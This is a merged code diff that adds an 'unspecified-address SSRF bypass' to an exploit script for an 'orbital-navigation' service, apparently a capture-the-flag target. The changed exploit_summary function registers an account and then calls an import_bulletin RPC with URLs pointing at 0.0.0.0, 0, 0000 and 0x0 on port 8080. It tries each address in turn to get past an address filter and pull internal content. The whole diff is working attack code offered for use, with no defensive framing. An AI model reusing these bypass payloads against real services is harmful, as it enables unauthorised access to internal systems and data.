orbital-navigation: add unspecified-address SSRF bypass #3

Merged
takuya merged 2 commits from exploit/orbital-ssrf-unspecified into main 2026-10-25 11:26:57 +03:00
+11 -2
View File
@@ -211,14 +211,23 @@ def exploit_summary(base: str, summary_id: str) -> list[str]:
if status == 200: if status == 200:
return [raw.decode("utf-8", errors="replace")] return [raw.decode("utf-8", errors="replace")]
token = register(base) token = register(base)
last_error = None
for internal_host in ("0.0.0.0", "0", "0000", "0x0"):
try:
result = rpc( result = rpc(
base, base,
"import_bulletin", "import_bulletin",
token=token, token=token,
url=f"http://127.1:8080{path}", url=f"http://{internal_host}:8080{path}",
) )
content = result.get("content") if isinstance(result, dict) else None content = result.get("content") if isinstance(result, dict) else None
return [content] if isinstance(content, str) else [] if isinstance(content, str):
return [content]
except ExploitError as exc:
last_error = exc
if last_error:
raise last_error
return []
def exploit_grant(base: str, flight_ids: list[str], grant_id: str) -> list[str]: def exploit_grant(base: str, flight_ids: list[str], grant_id: str) -> list[str]: